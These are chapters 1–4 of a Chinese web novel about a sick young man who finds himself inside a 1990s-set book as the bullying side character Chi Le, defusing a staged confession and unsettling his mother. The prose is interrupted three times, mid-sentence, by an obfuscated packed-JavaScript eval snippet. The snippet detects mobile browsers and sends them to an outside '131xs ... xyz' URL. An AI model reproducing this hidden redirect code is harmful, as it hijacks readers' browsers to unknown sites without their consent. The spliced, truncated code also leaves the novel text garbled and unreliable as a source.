《穿书成年代文中的炮灰男配[九零]》 1. 第 1 章 “你说话啊宁玉菲。” “到底愿不愿意，你给个准话。” “宁玉菲，你别不识好歹，我们老大看得上你是你的福气。” 浑浑噩噩间，池乐觉得自己浑身酸疼，尤其是脑袋，就好像有一根棍子捶打着他的后脑勺，让他忍不住发出低沉的呻、吟来。 他这是在哪里？ 看着眼前一个个陌生面孔，池乐的头更疼了。 如果没记错的话，就在几秒之前，他还百无聊赖地坐在地铁三号线上准备回家。 或许是因为他光着头，在夏天还戴着帽子，亦或者是刚刚化疗完神色憔悴，在刚上车时，就有人主动起身给他让座。 谁知道，只是一晃神的功夫，眼前的场景就变了。 “你们是什么人？想对我们菲菲干什么？我警告你们，这里是学校附近，老师马上就到，你们别乱来。” 就在池乐愣神时，眼前冲突的戏码仍然在继续。 一个穿着蓝白相间的校服的女孩挡在另外一位女生面前，佯装镇定地说出了一番话。 ——如果她声音不颤抖就好了。 为了缓解头疼，池乐强迫自己转移注意力地想。 如果这个女孩子表现得理直气壮一点儿，就更有说服力了。 果然，就正如池乐所想，在女生色厉内荏地呵斥之后，这群张口闭口“老大”的小混混们并没有被吓到，反倒是气焰更加嚣张。 “呵，告诉老师？你们试试？” 小混混们身上虽然穿着校服，但显然不满足于校服的单调，用墨水笔在衣服上描绘了不少个性的图案。 除此之外，他们似乎觉得单个图案并不能满足他们独特的身份，不少人还敞开外套，露出其中的质量不佳的花花翻领衬衣，配合着眼睛上的塑料墨镜，活脱脱一副古惑仔模样。 ……好土。 谁允许你们这样穿的？ 生在现代，在社交媒体上经受过无数穿搭视频洗礼的池乐，耳濡目染也知晓不少穿衣规则。 对于被填鸭的他来说，这群“小混混”的穿着打扮完全是在他的雷点上蹦迪。 当然，穿着打扮倒还好了，更让池乐觉得辣眼睛的，是故意将自己打扮得“流里流气”的小混混们，身上沾了“故意”两个字。 明明不是古惑仔，但却装扮出一副小混混的模样。 果然每个时代都有着属于自己的杀马特。 “春玲，别和他们说了。”被挡在身后，当作是保护者的女生在这个时候终于出了声。 这一句话，吸引了池乐的注意力。 无它，实在是这个女孩子长着一幅清冷的相貌，与之相匹配的，还有话语之中的冷静。 这女孩挺酷的。 池乐心想。 正是因为有这一份眉宇之间的冷然，池乐不大能够将对方当成是普通的学生看待，与此同时，也好奇起了对方的身份。 好在扮演古惑仔的小混混们从来不肯让池乐失望，话音未落，便听到他们冷哼。 “宁玉菲，知道怕了吧？还不肯好好和我们老大说话。” 宁玉菲，这名字怎么有些熟悉？ 还没有等池乐用他那被棒槌打了一样的脑袋思考出问题的答案来，便见那些上一秒还在趾高气昂威胁女孩子的小混混们转过头，有些讨好地道： “老大，您别愣着，说两句呀。” 老大，他？ 宁玉菲、薛春玲、老大、表白…… 接二连三的熟悉词汇朝着池乐袭来，让他不得不回忆起不久之前自己看过的一本以九零年代为背景的创业小说。 书中，男主陆宇明从小身世悲惨，父母早逝，寄宿在亲戚家。然而，贫穷的出身却掩盖不了他的聪明才智。 小小年纪，陆宇明就靠着打工和黑市倒卖紧缺商品养活自己和乡下的妹妹，非但如此，对方在学习上也颇有天赋，一路顺顺利利考上了帝都的大学。 而后，对方抓住了时代的脉搏，搭上了互联网经济腾飞的春风，成功地鱼跃浅滩，化身为龙。 对于男主来说，这本小说无疑是一本彻头彻尾的爽文，虽然遭遇不少困难，但每一步都能顺利克服，并且得到足够的正反馈。 与之相比，作为男主在蛰伏阶段的对照组——令人讨厌的炮灰男配池乐，拿的则是另外一种剧本了。 不同于男主悲惨的身世，池乐可谓是含着金汤勺出身。 在书中，他的父亲是县中机械厂里采购科的小领导，掌管着偌大的机械厂的材料采购，收入颇丰。而他的母亲则在县城里的百货商店工作，十分体面。 池乐的父母统共就他这么一个儿子，恨不得将他放在心尖儿上宠。 在九十年代末期，物质还没有未来丰富，不少产品的供给刚刚废除了票证制，就在不少人还扣扣巴巴时，池乐就已经将自己吃成了一个大胖子。 纵然如此，他的父母仍然不觉得儿子的肥胖是一个问题，仍然纵容着池乐由着性子胡闹。 拿着充足的零花钱，池乐带着一帮小弟在学校里吃吃喝喝，无恶不作，学校里老师一开始还打算管教他，后来发现没用，干脆放了手。 父母纵容，老师无视，池乐的胆子就更大了，为了找乐子，也为了捍卫自己在小弟中的权威，就将目光对准了男主。 男主长得俊朗清秀，很受女孩子喜欢，这是第一宗罪；学习好，受老师看重，是第二宗罪；除此之外，明明家中很穷，却摆着一副清高的面孔，这是第三宗罪。 心中看男主不爽，又考虑到对方无父无母，不会有人找上来，欺负男主，简直就成了最好的选择。 在文中，“池乐”的作死是多个阶段的，是持久的。 一开始，池乐只是简单地口头上挑衅，而后，则是带小弟们动手，在屡次吃瘪之后，干脆直接走上了犯罪的道路。 这其中的每一步都被男主化解，与此同时，也成为了男主壮大自我的“经验包”。 男主没钱买资料书时，他靠打赌给“送”；男主没有做生意的好机会时，他发癫给机会；发展到后来，池乐的莽撞行为直接害父母丢了工作。 而父母丢掉的工作，也辗转到了男主亲近的人手里。 ……说是炮灰，但在客观上却活脱脱是个菩萨。 “老大，你说句话呀？你怎么了？” 或许是长时间的沉默不语，双目瞪直，亦或者池乐这个老大没有按照原计划实行，眼看着周围围观的人越来越多，小弟们不由得出声询问。 “现在是几月几号？” 明明是表白的紧要关头，池乐却没什么闲情逸致，反倒是冷不丁地询问了一个让人摸不着的问题。 “3月8日呀。”犹豫片刻，其中一个小弟回答道。 真的穿了。 似乎也是在意识到“穿了”的同时，池乐与现实世界之间的隔膜终于破开，在这一瞬间，池乐不再是一个来自于异度世界的游客，而是这个书中的“池乐”本人。 “你到底想干什么？” 长时间的等待与周围越来越多的围观者让女主感到焦虑，纵然在书中是高冷与冷清的学霸人设，宁玉菲此时也忍不住皱起了眉头。 这句询问让池乐的思绪从书中的剧情中脱离开来，专注于眼前发生的一切。 宁玉菲、表白。 如果没记错的话，此时此刻，文章中的剧情才刚刚开始，原主这个同名同姓的小炮灰才刚刚上线。 不久之前，原主听到了宁玉菲的大名，与兄弟们打赌，打算“会一会”这位远近有名的清冷美人。 如果顺利的话，原主思考着自己如果能够拿下宁玉菲，让对方做自己的女朋友，不光是在小弟之中有面子，传到别的兄弟那里，也是可以拿来炫耀的资本。 当然，在原书中，原主这一番苦心自然是失败了——但凡是个正常人，都不可能这样轻易又草率地同意原主的表白。 更何况，原主此时外貌堪忧、不学无术，在当下以学习为重的风气下，根本得不到女生的欢迎。 只不过，在原书中，原主草率的行为被赶到的学校老师所制止，作为始作俑者，原主得到了严厉的批评，家长也被叫来训斥了一顿。 当然，作为读者，池乐知道位于这个剧情发生的目的远不止于此—— 在原主表白时，老师们之所以及时赶到，是因为男主快速返回学校，找到了老师。 托这一做法的福，女主正式知道了男主的名字，双方终于从彼此只闻其名的状态走近，正式成为了熟人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571205|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为在这一事件中受挫的当事人，原主见自己弄巧成拙，不但丢了颜面，还为讨厌的人助攻，心中恼火不已，将男主当成了敌人，正式开始了自己的作死大业。 可以说，这一看似简单的表白剧情，成为了书中男女主感情发展，以及原主这个炮灰命运的转折点。 ……等下。 危急时刻，池乐这个拿了原书炮灰剧本的可怜虫反倒是心情莫名其妙地轻松了起来。 既然表白还没有发生，也就是说明，原书中原主对于男主的那些伤害都还没有造成。 他这“炮灰”，并不是无路可走。 想到这里，池乐臃肿的脸上浮现出了几分笑意。 “你到底想搞什么鬼？”放学的围观人群越来越多，宁玉菲再次询问道。 池乐从自己的思绪中回过了神，正儿八经地看向了眼前的女孩，也就是小说中官配女主，宁玉菲同学。 “宁同学，你真的不考虑考虑和我做朋友吗？” 手上捧着的红玫瑰说不了谎，最近热播的港剧也早已将玫瑰的花语科普给了千家万户，池乐并不打算改变自己的人设。 “神经病。”这句直截了当的话倒也不是出自于宁玉菲口中，而是护着她的好友薛春玲。 宁玉菲拉了薛春玲一下。 大庭广众之下，敌强我弱，何况，宁得罪君子不得罪小人，何必逞这口舌之快。 薛春玲反应过来，退缩了一下。 然而，出乎意料的是，作为宁玉菲心中的“小人”，池乐并没有因为这句话而生气，反倒是露出几分黯然的神色。 “好吧，原本只是听说宁同学学习好，为人仗义，想要认识一下。” 宁玉菲不吭声。 认识，正常人恐怕都不会接受这样的认识法。 眼前人不说话，但这并不影响池乐的发挥——他原本也没打算在女主那里获得什么好脸色，说出这一番话，也不过是想要为自己之后的发言做铺垫而已。 “既然如此，那就算了吧。” 算了吧，算了……吧？ 此话一出，非但是自己的小弟，就连宁玉菲与薛春玲都惊愕地抬起了头。 四周弄清了发生了什么的群众一片嘘声。 池乐不是原主，自然没有原主那般要面子，在说完“算了”这两个字之后，他神色仍然难过，但语气中似乎带着几分释然。 “今天是国际三八妇女节，既然这样，那就祝你们节日快乐吧。” 说罢，池乐将玫瑰花拆开，取出其中一支，递给了宁玉菲。 后者没伸手。 池乐沉默片刻，将玫瑰分给了在场围观的女士。 九十年代末，票证经济已经结束，但如同红玫瑰这样的新鲜玩意儿仍然难得一见。 何况，本地的玫瑰花在四月中下旬才会开，原主能够弄到这些东西，非但是走了母亲的渠道，还花了大把的功夫。 很难说，以原主好面子、爱表现的性格，不是先看到玫瑰花，才策划出了一套“表白”。 “哎呀，谢谢同学，这怎么好意思。” “同学，别灰心啊，天涯何处无芳草。” “小伙子，听阿姨的话，回去少吃几口，瘦一点姑娘才喜欢。” 女同学不接受的花朵，对于这些围观的阿姨们来说接受却没有什么困难—— 多好的东西，在百货商店好歹也得卖几块钱呢！ 如今一个月的工资也不过是二三百元。 没想到只是围观一场热闹，就有如此收获。 既然拿了人家的好处，说些好话也是应当的——于是，拿着玫瑰花的姨婆们就这样将池乐围了起来，贴心安慰。 “……这是怎么回事？” 宁玉菲与薛春玲，连同一旁的小弟们也有些摸不着头脑。 当然，如果说作为参与者，这几位因为池乐的骚操作而摸不着头脑的话，那么问询赶来的老师们就更是无法理解了。 不是说这里有男学生将女孩堵着表白吗？ 眼看着这些穿着灰扑扑的工装，手上却拿着鲜艳的玫瑰，脸上洋溢着喜悦笑容的大姨们，老师们陷入了疑惑。 难道说，这个男同学是在给这些阿姨们表白？还一次表白几十个？ 2. 第 2 章 “我们当学生的，要把学习放在第一位，不要被资本主义的习气所影响，始终要牢记自己的任务，为了国家建设而努力读书。” A市一中，已经是放学的时间，学校里空空荡荡，唯独教导主任的办公室里亮着灯。 “池乐，你说说你做错了什么？” 教导主任穿着深蓝色的中山装，头发灰白，说话时眉头紧锁，挤出一个“川”字。 池乐站在一旁，诚恳道：“我不应该无故打扰同学，还连累老师们加班。是我的错，我知道错了。” 听到这一番丝滑的道歉，教导主任的眉毛动了一下，有些诧异地抬起眼。 作为教导室的常客，池乐这小子是什么德行，管纪律的老师们心里都有数。 好面子、要强、有极强的虚荣心，以上每一个点，都构成了对方性格的底色。这样的性格，再加上父母宠溺纵容，简直是具备了死鸭子嘴硬的所有条件。 这样的学生，是最难以管教的群体。 在此之前，教导主任已经做好了发火甚至动手威胁的准备。 可谁知道，他心中难听的话还没说出来，池乐就如此诚恳地承认了错误。 ……这错误，还承认得如此到位，让人一下无话可说。 “知道你还这么干？”被打断了长篇大论，教导主任刘老师的情绪不由得缓和了些许，但嘴上仍然是咄咄逼人。 “刘老师，我错了，我认识到了自己的错误，之后再也不敢了。” 池乐再次道歉，语气诚恳，丝毫没有半点儿勉强。 刘老师的怒火再次搁浅，深吸一口气，不得不将目光转移到室内另外一个人身上。 “你叫什么，陆宇明是吧？你来说。” 听到这个熟悉的名字，池乐没忍住抬起头，看了这个陌生的男生一眼。 或许是因为池乐那一番悬崖勒马的操作，原书的剧情在这个时候发生了一点小小的变化。 在原书中替女主解围、回学校找到了老师后离开的男主角被教导主任留了下来，与池乐这位当事人同处一室。 而女主作为非过错方，又受了惊吓，此时反倒被交由其他女老师安慰，不在此处。 “刘老师，我知道的东西之前已经与班主任张老师说过了，其他的我也不太清楚。当时，我看周围围了那么多人，担心出事，才急忙回学校找老师的。” 或许是因为池乐“花送千家”的行为太过于出乎意料，陆宇明此时的表情也颇为复杂。 当时，他选择第一时间回学校找老师，只是因为久仰池乐的凶名，知道被对方缠上不是什么好事，所以才付诸了行动。 在他的预期中，他只需要找来老师就行，不必掺和进接下来的环节里，可谁曾想事情发展根本与他想的不一致，他本人也被卷了进来。 他这样是得罪了池乐这个校霸吗？ 想到这里，陆宇明忍不住皱着眉。 他没有其他同学的家世，经济本身就很拮据，还得考虑下个学期的生活开支，得罪了池乐，显然不是什么明智之举。 如果池乐对他心生怨恨，从中作梗，自己的赚钱之旅又会增添许多波澜。 想到这里，陆宇明有些后悔。 “池乐？” 陆宇明的发言既解释了自己的动机，又点明了其中的不妥之处，对于一个高二的学生来说，已经显得颇为可贵，闻言，教导主任刚刚被池乐压下去的怒火又燃了起来。 “抱歉刘老师，是我没考虑到不良的影响，给学校和别的同学的声誉带来了负面效果，我再也不这样了。” 池乐继续为自己——或者说原主的所作所为道歉。 “……”教导主任的不悦再次被挡住。 对于青春期的学生来说，将面子看得比自己的命还重是这个年龄段的特色，像池乐这样道歉道得如此自然的，还真是少见。 偏偏以教导主任多年的从业经验，并没有从池乐神色中看到丝毫勉强，仿佛他打心底里就是这样想的一样。 这让他有一种奇特的无力感。 “你们都先回去，池乐，下周一让你父母来一趟学校。” 最终，刘老师说道。 表白成不成功是一回事，小小年纪“表白”行为本身就说明了学生没把心思花在学习上，这当然值得好好叫对方的父母来好好谈一谈。 何况，据教导主任的了解，池乐今日散出去的花，少说也得花个上百块钱。 他现在一个月的工资也不过三百五十块，池乐这学生小小年纪怎么能有这么多零花钱自己支配？ 很显然，对方父母在经济上也对孩子宠溺过度。 这一点，学生父母听不听是一回事，老师说不说又是另外一回事。 “好的，刘老师。” 原书中，原主表白未遂，态度还十分桀骜，再加上带了一群小弟，一看就十分难管教，这位刘老师很生气，一直将原主扣押在学校，等到父母来接才放行。 但如今因为池乐的态度，教导主任将叫家长延缓到了下周一，算是给池乐一点儿喘息的时间。 “回吧，你们也走。”最终，教导主任摆摆手，示意所有人都离开。 走出教导主任办公室，陆宇明下意识加快了脚步，想要离池乐远一些——虽然在教导主任面前，池乐表现得像模像样的，但陆宇明根本就不信。 江山易改本性难移，比起相信池乐变了个人，倒不如相信对方是在伪装。 池乐：“……” 不是，就跑这么快？ 虽然现阶段没打算与男主产生交集，但看见对方如同对待洪水猛兽一般对待自己，池乐心中还是生出了几分无语。 不是，你才是男主啊！ 全须全尾地从教导处走出来，看上去神色淡定，没什么被摧残的痕迹，等在校门口的小弟们松了口气，涌上来将池乐围住。 “老大，没事吧？” “老大，老秃子没说你什么吧？” “老大真厉害，知道有人告状了，灵机一动完美收尾。” 在池乐这些小弟们看来，他们的老大最终将玫瑰花分给别人的行为，也是为自己的挽尊之举。 这行为传出去，高低也能说一句“仗义疏财”。 再退一万步，当人傻钱多的冤大头，也比被女生当场拒绝好吧？ 老大，不愧是老大。 看着小弟们亮晶晶的眼睛，池乐有一瞬间的沉默。 说实话，在穿越之前，别人总是吐槽小说中的配角降智不合理，但现在看来，似乎也不是没有现实基础…… “别说这些了，现在在校门口。” 小弟们降智也有降智的好处，至少池乐担心的如何解释的问题是彻底不必担心了。 果然只要他足够淡定，别人就会自动地为他脑补出合理的逻辑来。 “都先回去。”池乐揣摩着原主的习惯，不动声色地道，“至于咱们下一步的安排，我回去再想想。” 原来还有下一步！ 闻言，因为一时失败而导致的负面情绪不翼而飞，小弟们眼睛都亮了亮，点头道：“老大，你放心！” 事已至此，池乐也不知道该说什么了。 犹豫之间，他手伸进兜里，掏出十块钱来：“你们去吃饭。” 作为作死的反派，又是所谓的带头的校霸，在原书中，原主自然也遭遇了声望尽失、人员离散的境遇。 也是在这时候，作者用淡定的笔触揭露了池乐小团体之所以稳定的秘密—— 小弟们家中大多数家境贫困，自己在家中是不受重视的孩子，是池乐提供给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571206|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他们额外的零花钱和享受的机会，这才将人聚集在一起。 而作为家中不受重视的小孩，在一番折腾之后，家中大概率不会给留饭，因此，作为老大，请这顿饭也是应该的。 “省着点儿花，早点回。” 看着这些年龄比自己小十几岁的小孩，池乐没忍住多吩咐一句。 “老大不和我们一起吃吗？” 对于提供饭钱的金主，小弟们还是不吝啬于提供一些情绪价值的。 “不了，我回家。” “好。” 小弟们依言而退，拿着老大给予的零花钱，乐滋滋地一窝蜂散了。 解决了一桩危机，也没有小弟们在一旁聒噪，池乐按照自己隐约的身体记忆，朝着原主的家走去。 九十年代末期，A市这座城市已经陆陆续续装上了路灯，随着近些年几家国有厂的倒闭，路边摆摊的人多了很多。 热闹的摊点、吆喝的摊主、购买的行人，还有初春隐约的寒意，这一些都构成了一种属于陌生时代的真实。 他的真的穿越了。 穿进了书里。 虽然拿到的是炮灰剧本，前途一片未知，但折磨着他的身上的病痛消失了。 这怎么不能说是一种恩惠？ 带着感慨万千的思绪继续向前，终于，在半个小时之后，池乐来到了自己的住处——机械厂家属院。 他要见原主的父母了。 而这也是让他觉得更加棘手的事。 自从一起化疗的朋友作为乐子将整本书推荐给自己，纵观整本书，让池乐印象深刻的并非是发生在同名炮灰身上的可怜命运，而是对方父母所给予的毫无保留的爱。 池乐怎么想也想不明白，为什么会有人在牵连父母丢了工作，把家中原本的生活搞得一团糟之后，仍然能够得到父母的爱？ 原书中，原主坏事做尽，最终丧了命，纵然如此，他的父母仍然对他不离不弃。 更有甚者，原主的父母为了替他报仇，甚至不惜代价，继续同男主作对。 这让池乐不得不将这样的行为定义为剧情需要。 只是，池乐没想到有一天，自己能够穿越进书中，面对这样一对父母。 他们会察觉到自己的变化吗？ 穿越成原主，原主去了哪里，他的行为是不是鸠占鹊巢呢？ 带着这样的疑问，短短几分钟的回家之路愣是被池乐走出了上刑场的劲头。 终于，在拖无可拖之后，池乐终于上了筒子楼，靠着书包里门钥匙上的提示，来到了自己的家门口。 艰难打开门。 打开门，池乐深呼吸一口气，心中做着各种心理准备，而后推开。 门内一片漆黑。 原本应该在家的父母，统统不见身影。 白紧张了。 就在池乐松了一口气，自嘲一笑时，隔壁邻居听到动静，从窗户里探出了头。 “乐乐回来了？你妈单位有事，刚被同事叫走了，她让我和你说一声。” ……原主的母亲在百货商店工作，是正儿八经的早八晚五的工作，很少加班，今天是怎么了？ 仿佛察觉到池乐的疑惑，邻居多说了一句：“听说是今天忽然有人在路上给人发玫瑰花，不知道怎么的一下给火了，好多人去百货商店问有没有花卖。” 反季节的玫瑰花原本就是稀罕物，是百货商店领导们拍脑门的决定，原本担心卖不出去，可没想到，忽然就被带火了。 如此一来，为了及时卖出这批货，池乐的母亲被迫加班。 “这花几块钱一枝呢，也不知道哪个败家子这么奢侈。”邻居嘟嘟囔囔。 被吐槽的败家子本人：“？” 等下，这剧情发展，和预想中的有些不一样啊！ 3. 第 3 章 “你说这世道，怎么让人看不懂呢？” 晚上七点，原本该是百货商店歇业的时间点，然而，今日路过的人们诧异地发现，以往早就打烊的商店，今天竟然开着门，门口还有一些排队的年轻人。 “这是咋了？” “买花呢。”有人说道。 “买什么花？为啥要买花？” 排队的人闲着无聊，也不吝啬于给人解释：“今天是妇女节啊，要给妇女同志送礼物的。” 既然送礼，为什么又要送花呢？ “嗨，我家那口子不知道听说了什么，就想要个花。” 听到这句话，排在他前面的人转过头来：“据说今天有个什么热闹，有人在免费发花，我媳妇儿没赶上，生气呢。” “这玩意也不实用啊，一会儿就枯了。” 排队的人说：“瞧你说的，家里人想要，你能不给买吗？” 如今是九十年代末期，大量国有企业进行股份制改革，失业下岗了一批工人，与此同时，也因创业诞生了一批高收入群体。 能来排队的就是这么一批人。 “佳姐，咱们库存统共一百多枝玫瑰，现在已经卖了一大半了。” 为了将滞销的货物清仓，百货商店的员工被紧急通知加班，从被叫来到现在，已经忙活了半个小时。 好在货物成功卖出，倒也不算白忙一场。 “我换你，你休息一会儿吧。”章佳——池乐的母亲利落地包装着花，站在了柜台前。 “谢谢佳姐。”新来的、名叫小艺的员工说道。 作为百货商店的老员工，章佳的业务能力十分在线，明明同样都是卖货，但她笑眯眯的，总能轻言细语几句话说到顾客心里。 “……那，要两枝吧，我给我妈也送一枝。” 听完章佳的介绍，顾客改了主意，要了两枝玫瑰。 章佳利落地把玫瑰包好，递给顾客：“谢谢惠顾，您慢走。” 小艺在一旁看着，默默学习着售卖的技巧。 这年头，虽然百货商店不如之前吃香，但也是十分难进的单位，虽然说进了百货商店不容易被开除，但要是业绩太差，家人脸上也不太好看。 幸亏负责带她的员工是个厚道人，不吝啬于给她分享工作技巧，因此，不过是一个月的功夫，她就与章佳混熟了。 “也不知道是谁干的好事，多亏了他。” 随着队伍逐渐变短，积攒的玫瑰也见底了——滞销的商品被卖出，小艺心中也松了口气。 说起来，按照本地的气候，玫瑰花应该是四五月才会开放，到时候人们会去花市购买，百货商店也会进一批进行包装售卖。 然而这次的情况有些不同。 去年年底，隔壁市响应省里的号召，为了国际接轨，发展富农产业，引进了塑料大棚种植技术，在考察之后，种植了不少反季节的玫瑰花，打算在年初时售出。 虽说国企改制是潮流，但计划经济刚刚过去不久，百货商店仍然承担着销售任务。 当时，在本市与隔壁市的销售会上，隔壁市的农业代表发表了讲话，他们领导不知怎的，一时头脑发热，就拍桌子接下了销售的任务。 与隔壁合作的这批玫瑰花年初的时候送来，过洋人情人节的时候卖了一批，只是本县到底没有滨海城市那样时尚，纵然做了许多宣传工作，也只卖出去了一小部分。 哪怕是这样，隔壁市仍然按照合同，在第二茬花开花时，又送来一批，都堆在仓库里。 做生意有风险，这是谁都明白的事，偌大的一个百货商店，自然不会因为几朵花卖不出去而破产。 然而，这位领导今年涉及到副职转正，最是担忧自己的业绩，因此连这玫瑰花的销售也问了好几次。 现在好了，问题稀里糊涂的解决了。 “佳姐，你知道是怎么回事吗？”小艺问。 章佳没有吭声，脸色变得不怎么好看。 作为负责玫瑰花销售的员工，章佳对这些花的渠道心里有数，整个A市能够拿到玫瑰花的，目前只有百货商店这一个渠道。 刚好，昨天她休假时，百货商店卖出了二十八支玫瑰。 想到自己在家抱怨过玫瑰滞销，她家的小孽畜追问了好几句，她心中就有了猜测。 是谁？ 就算不是她家的天魔星，恐怕也相隔不远。 章佳干着活，不愿意和小艺过多地讨论细节，小艺也察觉到了什么，笑嘻嘻地转移了话题。 不过半个小时的功夫，滞销的玫瑰已经卖的差不多，顾客也都走了，这时候，另外一位负责加班的员工才姗姗来迟。 “哎呀小章呀，不好意思来迟了。”这位旷工的老员工姓徐，人称徐姐，虽然嘴上说着抱怨，但话语里却没有丝毫歉意。 “怎么，都忙完了呀？”徐姐扫视了一圈，佯装惊讶地说道。 章佳不接话。 小艺看了自己的前辈一眼，又看了徐姐一眼，明智地低着头装死。 “还得是我说小章有主意，为了讨主任的欢心，什么事都做得出来。”徐姐阴阳怪气，话里有话。 自从上次两人竞聘岗位失败之后，她就一直是这个语调。 “徐姐你说什么，我听不懂。” 章佳眼眸微闪，脸上还带着笑，嘴上却不饶人：“不过，如果徐姐认为我们加班是为了讨具体某个人的欢心的话，恐怕政治觉悟就差了一些。” “作为一名普通的员工，按照领导的吩咐办事是我们的本分，迟到早退是没有尽本分，而迟到早退还试图推诿，更是歪风邪气。” “徐姐，你说对吗？” 好厉害一张嘴。 徐姐不意外章佳会反驳她，但没想到章佳作为后辈，竟然一点儿面子都不给自己。 “你清高什么？你就说让你儿子做的那些事是不是你指使的？” 在来之前，徐珍早就打听清楚了，今天忽然掀起的玫瑰热，就是因为有人在中学门口表白。 而这个表白失败，还到处散玫瑰的，不是别人，就是章佳她那胖猪儿子！ 她就不信这其中没有章佳的嘱咐。 章佳的脸彻底沉了下来。 “一派胡言！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571207|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你就说是不是？”见章佳脸色不渝，徐珍就当是自己说重了敌人的痛点一样，得意了起来。 “你倒是想了好办法，但这有啥用？比起讨领导欢欣，不如想想自己儿子能考多少分，到时候能考个什么高中。” “别到时候没学校上了，求到我这里来。” 徐珍业务能力不如章佳，但也有自己的骄傲——她的丈夫在市里的教育局工作，是个科长，儿子成绩很好，经常在学校拿第一名。 相比之下，章佳的儿子就太上不了台面。 “还有啊，你看你那儿子是不是得好好教教了，小小年纪，就学会送花追女孩了。” 当然，提这句话，比起是提醒，徐珍更像是嘲笑。 章佳本人勤快又漂亮，而她那儿子又胖又馋，学习还不好，也不知道会有哪个女生看上他？ “不劳你挂心。” 章佳一扭头，也不管收尾，直接出了单位门，骑着自己的凤凰牌自行车，走了。 与同事吵架时，章佳气势汹汹，完全没将对方的话放在心中，然而出了门，冷风一吹，她心中无端地生出几分委屈。 要说怪同事八婆，那自然是了——正常人谁会当着面对别人家的事指指点点？ 可要是自家没一点儿问题，那也说不过去。 归根到底，还是因为自己和丈夫太过放纵孩子，让他太过于放肆，小小年纪，就学会了一些坏习气。 说起来，也怪早年她和丈夫在外打拼，将小孩放在了老家。老人家不但偏心大的，在小孩这里也一碗水端不平，让池乐受了委屈。 也正是因为这个原因，他们这些年才对小孩更宠了一些。 如今看来，他们不能再放纵孩子了。 心中打着主意，一路上，章佳将自行车骑得飞快，原本十多分钟的路程，几乎是一转眼就到了家属院。 在路上时，章佳赌咒发誓要好好管束儿子——今天这件事，也要找机会好好和池乐谈谈，不能再轻易地糊弄过去、 可眼看到家了，才一会儿的功夫，她脑子里想着的就是别的事了。 她走的时候将饭热在了锅里，菜还没炒，儿子应该会自己找点儿零食充饥吧？ 眼看着马上要高三了，也得想办法努力努力，也不知道儿子在玩电子游戏机还是在看书。 心里惦记着儿子，章佳一路上与熟人打了几声招呼，径直地朝着自己家走去。 到了家门口，章佳拿出钥匙，打开门，心中已经做好了自家懒儿子躺在沙发上等饭的准备。 然而，门开之后，眼前所看到的一切却是出乎所料。 她切好的、没来得及料理的胡萝卜丝与黄瓜丝被妥帖地凉拌好，放在桌上，除此之外，厨房里传来了饭菜的香气。 客厅里最亮的一盏灯下，一个熟悉的身影坐在桌前，手中拿着一支笔，面前摆着一本书，认真地写写画画。 专注的眼神，紧皱的眉头，怎么看也不像是装的。 见状，章佳想了又想，还是没忍住伸出手揉了揉眼睛。 是她瞎了，还是太阳从西边出来了？ 4. 第 4 章 这一顿晚饭，章佳吃得心情格外复杂。 一直以来不懂事的儿子忽然懂事，不但体贴她的辛苦，自己下厨房做了饭，还学会主动学习，怎么看都是好事。 ……要是不是在闯祸之后就好了。 想到这里，章佳没忍住又夹了一筷子菜。 不得不说，虽然之前没有吃过儿子做的菜，但这小子显然在做饭上有点儿天赋—— 卖相普通的凉拌三丝加了香油和醋，吃起来酸辣适口；炒菜炒的是青椒肉丝，肉丝是她自己腌制的，倒是青椒丝炒的脆爽。 如果上不了学，去学学厨艺倒也不错。 章佳吃着饭，被自己的想法逗乐了。 每次似乎都是这样，明明心中很生气，可看到了儿子本人，那股子气又消失了。 正是因为老是这样，所以才教不好小孩。 章佳心中想法万千，摆在面上，却丝毫看不出来端倪，就好像一个普通得不能再普通的母亲一样。 面对这样一位沉得住气的母亲，池乐心中也颇为复杂。 在夹菜的时候，他没忍住，又用余光看了眼前的“母亲”一眼。 ——一些神奇的穿越魔法似乎真的存在。 继池乐与原主同名同姓之后，原主的母亲章佳女士，与池乐本尊那早逝的母亲在长相上也有着几分相似之处。 长相受到遗传、环境等多种因素的影响，两个世界的母亲生活环境不同，经历不同，长相当然不可能百分之百相同。 哪怕这样，池乐仍然能看出双方眉宇之间的关联。 尤其是说话的声音，简直是一模一样。 这样的意外不能再简单地称之为“意外”，他与原主的关系不像是穿书，对方更像是生活在不同平行时空中的“自己”。 想到这里，池乐心情更微妙了。 在现实世界中，自己的命运也称不上好——早年，他的父母在生下他之后就离了婚，父亲一走了之，母亲也再婚生了弟弟，他在外婆家讨生活。 这样的生活，按道理说池乐会怨恨自己的父母，可耐不住双方都是平凡的普通人。 去南方打工的父亲会定期寄回生活费和小玩意，母亲与继父结婚之后，也会时不时关心他的身体。 就连继父都算是一个传统意义上的好人。 